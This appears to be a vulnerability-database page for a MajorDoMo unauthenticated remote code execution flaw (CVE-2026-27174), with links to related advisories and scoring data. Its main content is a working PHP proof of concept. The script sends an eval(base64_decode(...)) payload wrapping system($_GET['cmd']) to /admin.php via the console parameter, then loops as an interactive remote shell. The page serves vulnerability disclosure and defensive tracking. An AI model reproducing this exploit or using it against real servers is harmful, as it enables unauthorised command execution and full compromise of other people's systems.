Lucene search
K

📄 MajorDoMo Remote Code Execution

🗓️ 06 Mar 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 105 Views

MajorDoMo unauthenticated remote PHP code execution via /admin.php with crafted console input.

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-27174
18 Feb 202621:10
attackerkb
Circl
CVE-2026-27174
18 Feb 202622:19
circl
CNNVD
MajorDoMo 代码注入漏洞
18 Feb 202600:00
cnnvd
CVE
CVE-2026-27174
18 Feb 202621:10
cve
Cvelist
CVE-2026-27174 MajorDoMo Unauthenticated Remote Code Execution via Admin Console Eval
18 Feb 202621:10
cvelist
Metasploit
MajorDoMo Console Eval Unauthenticated RCE
2 Mar 202618:58
metasploit
Nuclei
MajorDoMo - Unauthenticated RCE
1 Jun 202605:38
nuclei
NVD
CVE-2026-27174
18 Feb 202622:16
nvd
Packet Storm
📄 MajorDoMo Console Eval Unauthenticated Remote Code Execution
2 Mar 202600:00
packetstorm
Positive Technologies
PT-2026-20510
18 Feb 202600:00
ptsecurity
Rows per page
=============================================================================================================================================
    | # Title     : MajorDoMo Console Unauthenticated Remote Code Execution                                                                     |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                            |
    | # Vendor    : https://majordomohome.com/                                                                                                  |
    =============================================================================================================================================
    
    [+] Summary    :  A critical vulnerability in the MajorDoMo web console allows unauthenticated remote attackers to execute arbitrary system commands on the target server. 
                      By sending crafted requests to the /admin.php endpoint with manipulated console parameters, an attacker can inject and execute PHP code remotely. 
    				  The provided proof-of-concept demonstrates how a Base64-encoded payload is delivered and evaluated on the target system, enabling interactive command execution without authentication. 
                      This vulnerability may lead to full system compromise depending on the privileges of the web server process.
    				  
    [+] POC   :  
    
    <?php
    
    $target = "http://localhost"; 
    $endpoint = "/admin.php";
    
    $payload = "system(\$_GET['cmd']);";
    $encoded_payload = base64_encode($payload);
    $final_command = "eval(base64_decode('$encoded_payload'));";
    
    echo "--- [ MajorDoMo RCE Exploit ] ---\n";
    echo "[*] Target: $target\n";
    echo "[*] Sending Payload...\n";
    
    function send_payload($url, $params) {
        $query = http_build_query($params);
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url . "?" . $query);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        $response = curl_exec($ch);
        curl_close($ch);
        return $response;
    }
    while (true) {
        echo "shell@majordomo:~$ ";
        $cmd = trim(fgets(STDIN));
        
        if ($cmd == 'exit') break;
    
        $params = [
            'ajax_panel' => '1',
            'op' => 'console',
            'command' => $final_command,
            'cmd' => $cmd 
        ];
    
        $output = send_payload($target . $endpoint, $params);
        
        if ($output) {
            echo "\n" . trim($output) . "\n\n";
        } else {
            echo "[-] No response received or the target is not vulnerable.\n";
        }
    }
    ?>
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

06 Mar 2026 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 49.3
CVSS 3.19.8
EPSS0.85411
SSVC
105